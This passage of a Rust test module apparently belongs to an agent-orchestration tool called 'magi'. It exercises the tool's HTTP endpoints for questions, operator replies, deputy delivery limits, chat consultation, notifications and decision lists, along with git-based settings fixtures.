13567            State(ui.clone()),
13568            Path(text.id.clone()),
13569            Ok(Json(NewAnswer {
13570                choice: None,
13571                text: Some("chosen name".into()),
13572                ..Default::default()
13573            })),
13574        )
13575        .await
13576        .unwrap();
13577        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13578        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13579    }
13580
13581    #[tokio::test]
13582    async fn question_text_handler_admission_without_transport() {
13583        let home = tempfile::tempdir().unwrap();
13584        let ui = delta_test_ui(home.path());
13585        let mut q = Question::new(
13586            "task".into(),
13587            crate::land::APPROVAL_NODE.into(),
13588            "land".into(),
13589            "May this PR merge?".into(),
13590            String::new(),
13591            vec!["hold".into()],
13592        );
13593        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13594        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13595        ui.questions.put(&mut q).unwrap();
13596        let say = || {
13597            Ok(Json(NewSay {
13598                body: "Explain the findings".into(),
13599            }))
13600        };
13601        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13602            .await
13603            .unwrap_err();
13604        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13605        let response = rejected.into_response();
13606        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13607            .await
13608            .unwrap();
13609        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13610        assert_eq!(body["code"], "question_text_unavailable");
13611        assert_eq!(body["reason"], "deputy_exhausted");
13612        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13613        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13614        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13615        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13616            .await
13617            .unwrap();
13618        assert_eq!(view.text_delivery.state, "live");
13619        assert!(view.question.waiter.is_none());
13620        assert!(view.question.cwd.is_none());
13621        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13622        ui.questions.drop_lease(&q.id);
13623        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13624            .await
13625            .unwrap_err();
13626        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13627        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13628        let _ = question_answer(
13629            State(ui.clone()),
13630            Path(q.id.clone()),
13631            Ok(Json(NewAnswer {
13632                choice: Some("hold".into()),
13633                text: None,
13634                ..Default::default()
13635            })),
13636        )
13637        .await
13638        .unwrap();
13639        assert_eq!(
13640            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13641            Some("hold")
13642        );
13643    }
13644
13645    #[tokio::test]
13646    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13647        let fx = Fixture::start().await;
13648        let store = fx.questions();
13649        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13650        store
13651            .update(&id, |q| {
13652                q.node = crate::land::APPROVAL_NODE.to_owned();
13653                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13654                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13655                Ok(())
13656            })
13657            .unwrap();
13658        let path = format!("/api/questions/{id}/say");
13659        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13660        assert_eq!(refused.status, 422, "{}", refused.body);
13661        assert!(
13662            refused.json()["error"]
13663                .as_str()
13664                .unwrap()
13665                .contains("deputy_exhausted")
13666        );
13667        assert!(store.get(&id).unwrap().thread.is_empty());
13668
13669        // A final live deputy is usable even with no ordinary waiter/cwd.
13670        store.beat(&id, ask::WaiterKind::Deputy);
13671        let view = fx.get("/api/questions").await.json();
13672        assert_eq!(view[0]["text_delivery"]["state"], "live");
13673        let accepted = fx
13674            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13675            .await;
13676        assert_eq!(accepted.status, 200, "{}", accepted.body);
13677        let before = std::fs::read(store.path_of(&id)).unwrap();
13678
13679        // The recipient exits between rendering and sending. Rejection must
13680        // preserve previously accepted text, the answer and delivery cursor.
13681        store.drop_lease(&id);
13682        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13683        assert_eq!(refused.status, 422, "{}", refused.body);
13684        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13685        let held = fx
13686            .post(
13687                &format!("/api/questions/{id}/answer"),
13688                Some(r#"{"choice":"hold"}"#),
13689            )
13690            .await;
13691        assert_eq!(held.status, 200, "{}", held.body);
13692        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13693    }
13694
13695    #[tokio::test]
13696    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13697        let repo = tempfile::tempdir().unwrap();
13698        let mut cfg = stub_config();
13699        cfg.daemon.max_deputies = 0;
13700        std::fs::write(
13701            repo.path().join("magi.toml"),
13702            toml::to_string(&cfg).unwrap(),
13703        )
13704        .unwrap();
13705        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13706        let mut status = crate::daemon::Status::new();
13707        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13708        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13709        let id = ask(&fx, "Explain?", &["hold"]);
13710        fx.questions()
13711            .update(&id, |q| {
13712                q.node = crate::land::APPROVAL_NODE.into();
13713                q.deputy = Some(ask::Deputy::new("context".into()));
13714                q.deputy.as_mut().unwrap().agent = "stub".into();
13715                Ok(())
13716            })
13717            .unwrap();
13718        cfg.daemon.max_deputies = 1;
13719        std::fs::write(
13720            repo.path().join("magi.toml"),
13721            toml::to_string(&cfg).unwrap(),
13722        )
13723        .unwrap();
13724        let view = fx.get("/api/questions").await.json();
13725        assert_eq!(view[0]["deputies_enabled"], true);
13726        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13727        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13728        let res = fx
13729            .post(
13730                &format!("/api/questions/{id}/say"),
13731                Some(r#"{"body":"Please explain"}"#),
13732            )
13733            .await;
13734        assert_eq!(res.status, 422, "{}", res.body);
13735        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13736    }
13737
13738    #[tokio::test]
13739    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13740        let fx = Fixture::start().await;
13741        let id = ask(&fx, "No seat", &[]);
13742        let store = fx.questions();
13743        let before = std::fs::read(store.path_of(&id)).unwrap();
13744        let res = fx
13745            .post(
13746                &format!("/api/questions/{id}/say"),
13747                Some(r#"{"body":"hello"}"#),
13748            )
13749            .await;
13750        assert_eq!(res.status, 422, "{}", res.body);
13751        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13752        let res = fx
13753            .post(
13754                &format!("/api/questions/{id}/answer"),
13755                Some(r#"{"text":"hello"}"#),
13756            )
13757            .await;
13758        assert_eq!(res.status, 200, "{}", res.body);
13759        assert_eq!(
13760            store.get(&id).unwrap().resolution().as_deref(),
13761            Some("hello")
13762        );
13763    }
13764
13765    #[tokio::test]
13766    async fn saying_something_appends_a_turn_without_answering() {
13767        let fx = Fixture::start().await;
13768        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13769        fx.questions().beat(&id, ask::WaiterKind::Asker);
13770        let path = format!("/api/questions/{id}/say");
13771
13772        let res = fx
13773            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13774            .await;
13775        assert_eq!(res.status, 200, "{}", res.body);
13776        let body = res.json();
13777        assert_eq!(body["status"], "open", "talking back is not a decision");
13778        assert_eq!(body["answer"], Value::Null);
13779        assert_eq!(body["thread"][0]["who"], "operator");
13780        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13781        assert_eq!(body["waiting_on_agent"], true);
13782        // Still open, still counted, still exactly one question.
13783        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13784    }
13785
13786    #[tokio::test]
13787    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13788        let fx = Fixture::start().await;
13789        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13790
13791        let list = fx.get("/api/questions").await.json();
13792        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13793
13794        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13795        assert_eq!(res.status, 409, "{}", res.body);
13796        let q = fx.questions().get(&id).unwrap();
13797        assert!(q.status.open());
13798        assert!(q.consult.is_none());
13799    }
13800
13801    #[tokio::test]
13802    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13803        let fx = Fixture::start().await;
13804        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13805        let cfg = Config {
13806            agents: vec![crate::config::AgentSpec {
13807                id: "mock".to_owned(),
13808                kind: crate::config::AgentKind::Command,
13809                model: None,
13810                command: vec!["true".to_owned()],
13811                extra_args: Vec::new(),
13812                env: Default::default(),
13813                prompt_delivery: None,
13814                max_turn_secs: None,
13815            }],
13816            ..Config::default()
13817        };
13818        let talk = crate::talk::begin(
13819            &fx.talks(),
13820            &cfg,
13821            fx.home.path().to_path_buf(),
13822            Some("mock"),
13823        )
13824        .unwrap();
13825        let mut task = Task::new(
13826            "t".to_owned(),
13827            "Do it".to_owned(),
13828            PathBuf::from("/repo/magi"),
13829            Source::Agent {
13830                run: talk.id.clone(),
13831                node: crate::queue::CHAT_NODE.to_owned(),
13832            },
13833        );
13834        task.start("20260902-000000-beef".to_owned());
13835        fx.queue().put(&mut task).unwrap();
13836
13837        let list = fx.get("/api/questions").await.json();
13838        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13839        assert_eq!(
13840            list[0]["choices"],
13841            serde_json::json!(["SQLite", "Redis"]),
13842            "the hand-over is never a choice"
13843        );
13844        fx.questions()
13845            .update(&id, |q| {
13846                q.node = crate::land::APPROVAL_NODE.into();
13847                q.choices = vec!["merge".into(), "hold".into()];
13848                Ok(())
13849            })
13850            .unwrap();
13851        let list = fx.get("/api/questions").await.json();
13852        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13853        assert_eq!(list[0]["can_consult_chat"], true);
13854        fx.questions()
13855            .update(&id, |q| {
13856                q.node = crate::bump::NOTICE_NODE.into();
13857                Ok(())
13858            })
13859            .unwrap();
13860        let list = fx.get("/api/questions").await.json();
13861        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13862        assert_eq!(list[0]["can_consult_chat"], false);
13863    }
13864
13865    #[tokio::test]
13866    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13867        let fx = Fixture::start().await;
13868        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13869        fx.questions()
13870            .update(&id, |q| {
13871                q.node = crate::land::APPROVAL_NODE.into();
13872                q.choices = vec!["merge".into(), "hold".into()];
13873                Ok(())
13874            })
13875            .unwrap();
13876        let cfg = Config {
13877            agents: vec![crate::config::AgentSpec {
13878                id: "mock".to_owned(),
13879                kind: crate::config::AgentKind::Command,
13880                model: None,
13881                command: vec!["true".to_owned()],
13882                extra_args: Vec::new(),
13883                env: Default::default(),
13884                prompt_delivery: None,
13885                max_turn_secs: None,
13886            }],
13887            ..Config::default()
13888        };
13889        // Not a git working tree, so its `magi.toml` is read from disk.
13890        let repo = fx.home.path().join("chat-repo");
13891        std::fs::create_dir_all(&repo).unwrap();
13892        let toml = repo.join("magi.toml");
13893        std::fs::write(&toml, "this is = = not toml").unwrap();
13894        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13895        let mut task = Task::new(
13896            "t".to_owned(),
13897            "Do it".to_owned(),
13898            PathBuf::from("/repo/magi"),
13899            Source::Agent {
13900                run: talk.id.clone(),
13901                node: crate::queue::CHAT_NODE.to_owned(),
13902            },
13903        );
13904        task.start("20260902-000000-beef".to_owned());
13905        fx.queue().put(&mut task).unwrap();
13906
13907        let path = format!("/api/questions/{id}/consult");
13908        let res = fx.post(&path, None).await;
13909        assert!(res.status >= 400, "{}", res.body);
13910        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13911        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13912
13913        std::fs::write(&toml, "").unwrap();
13914        let res = fx.post(&path, None).await;
13915        assert_eq!(res.status, 202, "{}", res.body);
13916        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13917        let q = fx.questions().get(&id).unwrap();
13918        assert!(q.status.open());
13919        assert!(q.answer.is_none());
13920        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13921        assert_eq!(res.json()["can_consult_chat"], true);
13922        let list = fx.get("/api/questions").await.json();
13923        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13924        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13925
13926        let res = fx
13927            .post(
13928                &format!("/api/questions/{id}/answer"),
13929                Some(r#"{"choice":"hold"}"#),
13930            )
13931            .await;
13932        assert_eq!(res.status, 200, "{}", res.body);
13933        assert_eq!(res.json()["answer"]["choice"], "hold");
13934        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13935        assert_eq!(res.json()["can_consult_chat"], false);
13936        assert_eq!(fx.post(&path, None).await.status, 409);
13937
13938        let mut talk = fx.talks().get(&talk.id).unwrap();
13939        // This test closes the history view, not an unconsumed consultation.
13940        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13941        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13942        let list = fx.get("/api/questions").await.json();
13943        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13944        assert_eq!(list[0]["origin_chat_closed"], true);
13945        assert_eq!(list[0]["can_consult_chat"], false);
13946
13947        fx.talks().remove(&talk.id).unwrap();
13948        let list = fx.get("/api/questions").await.json();
13949        assert_eq!(list[0]["origin_chat"], Value::Null);
13950        assert_eq!(list[0]["origin_chat_closed"], false);
13951        assert_eq!(list[0]["can_consult_chat"], false);
13952    }
13953
13954    #[tokio::test]
13955    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13956        let fx = Fixture::start().await;
13957        let store = fx.questions();
13958        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13959        store.beat(&id, ask::WaiterKind::Asker);
13960        assert_eq!(
13961            fx.get("/api/health").await.json()["questions_needs_owner"],
13962            1
13963        );
13964
13965        // The owner asks back instead of deciding: the ask bar, the nav badge
13966        // and the title must stop naming this question, because there is
13967        // nothing to decide until the agent answers - `status` alone cannot
13968        // say that, which is the whole reason `questions_needs_owner` exists
13969        // alongside `questions_open`.
13970        let res = fx
13971            .post(
13972                &format!("/api/questions/{id}/say"),
13973                Some(r#"{"body":"why not Postgres?"}"#),
13974            )
13975            .await;
13976        assert_eq!(res.status, 200, "{}", res.body);
13977        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13978        assert_eq!(
13979            fx.get("/api/health").await.json()["questions_needs_owner"],
13980            0,
13981            "waiting on the agent is not waiting on the owner"
13982        );
13983
13984        // `magi ask --thread` replying is what brings the owner count back -
13985        // the same event that would resume the CLI call blocked in `magi
13986        // ask`.
13987        let mut q = store.get(&id).expect("get");
13988        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13989            .expect("reply");
13990        store.put(&mut q).expect("put");
13991        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13992        assert_eq!(
13993            fx.get("/api/health").await.json()["questions_needs_owner"],
13994            1,
13995            "the agent's reply is what should light the banner back up"
13996        );
13997    }
13998
13999    #[tokio::test]
14000    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14001        let fx = Fixture::start().await;
14002        let store = fx.questions();
14003
14004        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14005        let res = fx
14006            .post(
14007                &format!("/api/questions/{empty_id}/say"),
14008                Some(r#"{"body":"   "}"#),
14009            )
14010            .await;
14011        assert_eq!(res.status, 400, "{}", res.body);
14012
14013        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14014        let mut answered = store.get(&answered_id).expect("get");
14015        answered
14016            .answer(Answer::Choice("SQLite".to_owned()))
14017            .expect("answer");
14018        store.put(&mut answered).expect("put");
14019        let res = fx
14020            .post(
14021                &format!("/api/questions/{answered_id}/say"),
14022                Some(r#"{"body":"still there?"}"#),
14023            )
14024            .await;
14025        assert_eq!(res.status, 409, "{}", res.body);
14026
14027        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14028        let mut abandoned = store.get(&abandoned_id).expect("get");
14029        abandoned.abandon("timed out");
14030        store.put(&mut abandoned).expect("put");
14031        let res = fx
14032            .post(
14033                &format!("/api/questions/{abandoned_id}/say"),
14034                Some(r#"{"body":"still there?"}"#),
14035            )
14036            .await;
14037        assert_eq!(res.status, 409, "{}", res.body);
14038    }
14039
14040    #[tokio::test]
14041    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14042        let fx = Fixture::start().await;
14043        let questions = fx.questions();
14044        let mut q = Question::new(
14045            String::new(),
14046            crate::bump::NOTICE_NODE.into(),
14047            "release-watch".into(),
14048            "Release PR approval".into(),
14049            "Saved head".into(),
14050            vec!["merge".into(), "hold".into()],
14051        );
14052        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14053        q.merge_target = Some(crate::merge_decision::Target {
14054            pr: "https://example.test/mebae/pull/100".into(),
14055            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14056            language: "en".into(),
14057        });
14058        q.answer(Answer::Choice("merge".into())).unwrap();
14059        q.answer_delivered = true;
14060        questions.put(&mut q).unwrap();
14061        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14062        std::fs::create_dir_all(&dir).unwrap();
14063        std::fs::write(
14064            dir.join("state.json"),
14065            serde_json::to_vec(&serde_json::json!({
14066                "schema": 1, "sources": [q.id], "pending": [q.id]
14067            }))
14068            .unwrap(),
14069        )
14070        .unwrap();
14071        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14072        for migrated in [false, true] {
14073            if migrated {
14074                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14075            }
14076            for endpoint in ["/api/questions", "/api/questions/core"] {
14077                let response = fx.get(endpoint).await;
14078                assert_eq!(response.status, 200);
14079                let rows = response.json();
14080                let row = rows
14081                    .as_array()
14082                    .unwrap()
14083                    .iter()
14084                    .find(|r| r["id"] == q.id)
14085                    .unwrap();
14086                assert_eq!(row["status"], "answered");
14087                assert_eq!(row["answer"]["choice"], "merge");
14088                assert_eq!(row["can_answer"], false);
14089                assert_eq!(row["history_only"], true);
14090            }
14091            let answer = fx
14092                .post(
14093                    &format!("/api/questions/{}/answer", q.id),
14094                    Some(r#"{"choice":"merge"}"#),
14095                )
14096                .await;
14097            assert_eq!(answer.status, 409, "{}", answer.body);
14098            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14099        }
14100    }
14101
14102    #[tokio::test]
14103    async fn an_answer_the_question_does_not_offer_is_refused() {
14104        let fx = Fixture::start().await;
14105        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14106        let path = format!("/api/questions/{id}/answer");
14107
14108        for body in [
14109            r#"{"choice":"Postgres"}"#,
14110            r#"{"text":"whatever you think"}"#,
14111            r#"{"choice":"Redis","text":"both"}"#,
14112            r#"{}"#,
14113        ] {
14114            let res = fx.post(&path, Some(body)).await;
14115            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14116            assert!(res.json()["error"].is_string(), "{}", res.body);
14117        }
14118        // Nothing above may have answered it.
14119        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14120    }
14121
14122    #[tokio::test]
14123    async fn a_free_text_question_takes_text_and_not_a_choice() {
14124        let fx = Fixture::start().await;
14125        let id = ask(&fx, "What should the flag be called?", &[]);
14126        fx.questions().beat(&id, ask::WaiterKind::Asker);
14127        let path = format!("/api/questions/{id}/answer");
14128
14129        assert_eq!(
14130            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14131            400
14132        );
14133        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14134        assert_eq!(res.status, 200, "{}", res.body);
14135        assert_eq!(res.json()["answer"]["text"], "--json");
14136    }
14137
14138    #[tokio::test]
14139    async fn an_unknown_question_is_a_json_404() {
14140        let fx = Fixture::start().await;
14141        let res = fx
14142            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14143            .await;
14144        assert_eq!(res.status, 404, "{}", res.body);
14145        assert!(res.json()["error"].is_string());
14146    }
14147
14148    #[tokio::test]
14149    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14150        let fx = Fixture::start().await;
14151        let questions = Questions::at(fx.home.path().join("questions"));
14152        let store = Notices::at(fx.home.path().join("notifications"));
14153        let mut q = ask::Question::new(
14154            "t1".into(),
14155            "conduct".into(),
14156            "conductor".into(),
14157            "Continue?".into(),
14158            String::new(),
14159            Vec::new(),
14160        );
14161        questions.put(&mut q).unwrap();
14162        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14163        n.covered_by = Some(q.id.clone());
14164        let n = store.raise(n).unwrap();
14165        let listed = fx.get("/api/notifications").await.json();
14166        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14167        questions
14168            .update(&q.id, |q| {
14169                q.abandon("run gone");
14170                Ok(())
14171            })
14172            .unwrap();
14173        let listed = fx.get("/api/notifications").await.json();
14174        assert!(listed["items"][0]["answerable_question"].is_null());
14175        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14176        assert!(
14177            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14178                .unwrap()
14179                .contains("answerable_question")
14180        );
14181    }
14182
14183    #[tokio::test]
14184    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14185        let fx = Fixture::start().await;
14186        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14187        let task = crate::queue::Task::new(
14188            "work".into(),
14189            "work".into(),
14190            fx.home.path().into(),
14191            crate::queue::Source::Human,
14192        );
14193        let inquiry = outbox
14194            .file(&task, None, "test".into(), "入力待ち", "詳細")
14195            .unwrap();
14196        let root = fx.home.path().join("notifications/task-inquiries");
14197        std::fs::write(root.join("broken.json"), "{").unwrap();
14198        let mut unsupported = inquiry.clone();
14199        unsupported.id = "unsupported".into();
14200        unsupported.schema = 99;
14201        std::fs::write(
14202            root.join("unsupported.json"),
14203            serde_json::to_vec(&unsupported).unwrap(),
14204        )
14205        .unwrap();
14206        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14207        for _ in 0..2 {
14208            let response = fx.get("/api/decisions").await;
14209            assert_eq!(response.status, 200, "{}", response.body);
14210            let listed = response.json();
14211            assert_eq!(listed["unreadable"], 2);
14212            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14213            assert_eq!(listed["items"][0]["id"], inquiry.id);
14214            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14215        }
14216        assert_eq!(
14217            before,
14218            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14219        );
14220        assert!(outbox.list().is_err());
14221        std::fs::remove_file(root.join("broken.json")).unwrap();
14222        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14223        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14224    }
14225
14226    #[tokio::test]
14227    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14228        let fx = Fixture::start().await;
14229        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14230        std::fs::create_dir_all(&root).unwrap();
14231        let journal = serde_json::json!({
14232            "schema": 1, "pending": ["saved-inquiry"],
14233            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14234        });
14235        let bytes = serde_json::to_vec(&journal).unwrap();
14236        std::fs::write(root.join("state.json"), &bytes).unwrap();
14237        for _ in 0..2 {
14238            let response = fx.get("/api/decisions").await;
14239            assert_eq!(response.status, 200);
14240            let listed = response.json();
14241            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14242            assert!(listed["items"].as_array().unwrap().is_empty());
14243            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14244        }
14245        // An unreadable journal must not make the endpoint hide the list.
14246        std::fs::write(root.join("state.json"), b"{").unwrap();
14247        let response = fx.get("/api/decisions").await;
14248        assert_eq!(response.status, 200);
14249        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14250    }
14251
14252    #[tokio::test]
14253    async fn notifications_list_read_dismiss_and_health_agree() {
14254        let fx = Fixture::start().await;
14255        let store = Notices::at(fx.home.path().join("notifications"));
14256        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14257        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14258
14259        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14260        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14261
14262        store
14263            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14264            .unwrap();
14265        let health = fx.get("/api/health").await.json();
14266        assert_eq!(health["notifications_unread"], 2);
14267        assert_ne!(
14268            health["notifications_rev"], rev0,
14269            "the badge must move live"
14270        );
14271
14272        let listed = fx.get("/api/notifications").await.json();
14273        assert_eq!(listed["unread"], 2);
14274        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14275        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14276
14277        let read = fx
14278            .post(&format!("/api/notifications/{}/read", a.id), None)
14279            .await;
14280        assert_eq!(read.status, 200, "{}", read.body);
14281        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14282
14283        let gone = fx
14284            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14285            .await;
14286        assert_eq!(gone.status, 200, "{}", gone.body);
14287        let listed = fx.get("/api/notifications").await.json();
14288        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14289        assert_eq!(listed["unread"], 0);
14290
14291        store.raise(Notice::info("x", "again")).unwrap();
14292        let all = fx.post("/api/notifications/read-all", None).await;
14293        assert_eq!(all.status, 200, "{}", all.body);
14294        assert_eq!(all.json()["marked"], 1);
14295        assert_eq!(
14296            fx.get("/api/health").await.json()["notifications_unread"],
14297            0
14298        );
14299
14300        let missing = fx.post("/api/notifications/nope/read", None).await;
14301        assert_eq!(missing.status, 404, "{}", missing.body);
14302        assert!(missing.json()["error"].is_string());
14303    }
14304
14305    /// New work reaches the queue through `magi task add`, a standing talk's
14306    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14307    /// so the compose form and that route are gone. The tests that covered
14308    /// that route's validation went with it, and nothing was left asserting
14309    /// it stays gone — so a re-added handler would silently let the phone
14310    /// file briefs no one validated.
14311    #[tokio::test]
14312    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14313        let f = Fixture::start().await;
14314
14315        let res = f
14316            .post(
14317                "/api/queue",
14318                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14319            )
14320            .await;
14321
14322        assert_eq!(
14323            res.status, 405,
14324            "POST /api/queue must not be a route: {}",
14325            res.body
14326        );
14327        assert!(
14328            f.queue().list().is_empty(),
14329            "a task filed by a route that does not exist must not reach the disk"
14330        );
14331        // The path itself is still served — the Queue view reads it — and the
14332        // per-task controls are untouched by the entry being removed.
14333        assert_eq!(f.get("/api/queue").await.status, 200);
14334    }
14335
14336    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14337    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14338        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14339            .expect("checkout dir");
14340    }
14341
14342    /// Two command agents, so a config needs no real CLI.
14343    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14344
14345    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14346        let tmp = TempDir::new().expect("tempdir");
14347        let repo = tmp.path().join("repo");
14348        std::fs::create_dir_all(&repo).expect("repo dir");
14349        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14350        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14351        if let Some(text) = machine_toml {
14352            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14353            std::fs::write(&machine, text).expect("machine toml");
14354        }
14355        (tmp, repo, machine)
14356    }
14357
14358    async fn settings_checkout(path: &FsPath, text: &str) {
14359        std::fs::create_dir_all(path).unwrap();
14360        std::fs::write(path.join("magi.toml"), text).unwrap();
14361        for args in [
14362            vec!["init", "-b", "main"],
14363            vec!["add", "magi.toml"],
14364            vec![
14365                "-c",
14366                "user.name=Test",
14367                "-c",
14368                "user.email=test@example.invalid",
14369                "commit",
14370                "-m",
14371                "fixture",
14372            ],
14373            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14374            vec![
14375                "symbolic-ref",
14376                "refs/remotes/origin/HEAD",
14377                "refs/remotes/origin/main",
14378            ],
14379        ] {
14380            crate::git::git(path, &args).await.unwrap();
14381        }
14382    }
14383
14384    #[tokio::test]
14385    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14386        let (tmp, repo, machine) =
14387            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14388        let root = tmp.path().join("roots");
14389        let selected = root.join("host/owner/selected");
14390        settings_checkout(
14391            &selected,
14392            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14393        )
14394        .await;
